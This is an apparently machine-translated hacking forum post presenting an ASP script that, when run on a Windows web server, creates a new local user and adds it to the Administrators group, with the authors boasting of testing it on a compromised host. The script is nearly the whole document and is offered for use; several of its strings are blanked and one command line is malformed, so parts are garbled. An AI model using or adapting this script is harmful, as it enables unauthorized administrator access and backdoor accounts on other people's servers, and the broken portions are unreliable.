수퍼유저를 추가합니다.asp 코드 [블루스크린 오리지널, 케빈 개선, Ms 미공개 빈틈]

수퍼유저를 추가합니다.asp 코드 [블루스크린 오리지널, 케빈 개선, Ms 미공개 빈틈]
저자: 블루스크린, 케빈
사실 지난주에 케빈과 나는 내 육계에서 테스트를 했는데, 하마 에픽도 있었다.결과적으로user 권한에서 Administrators 그룹의 사용자를 성공적으로 추가했습니다. (내 눈을 믿을 수는 없지만.)
지난번에 케빈이 말을 안 해서 발표를 못하겠는데..지금 그의 블로그에서 그가 발표한 것을 보고 돌아왔다.이제 모두 복 받으세요```
어쨌든 코드는 맞지만 성공하는 경우는 드물다. 구체적으로 운에 달려 있다.허허, 다음 단계는 그를 바다 속으로 통합시키고 싶다.헤헤. 

 
  
.network                
  
  
  
  :
  
  
  :
  
  
  
  
  
  
 
  
on error resume next  
  
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then  
  
response.write "iP !s n0T RiGHt"  
  
else  
  
if request("username")<>"" then  
  
username=request("username")  
  
passwd=request("passwd")  
  
Response.Expires=0  
  
Session.TimeOut=50  
  
Server.ScriptTimeout=3000  
  
set lp=Server.createObject("WSCRIPT.NETWORK")  
  
oz="WinNT://"&lp.ComputerName  
  
Set ob=GetObject(oz)  
  
Set oe=GetObject(oz&"/Administrators,group")  
  
Set od=ob.create("user",username)  
  
od.SetPassword passwd  
  
od.SetInfo  
  
oe.Add oz&"/"&username  
  
if err then  
  
response.write " ~~       6+1 ……  2        ……"  
  
else  
  
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"    ")>0 then  
  
response.write "      ,          .       "  
  
else  
  
Response.write "OMG!"&username&"      !        .5,000,000RMB    "  
  
end if  
  
end if  
  
else  
  
response.write "        "  
  
end if  
  
end if  
  
%>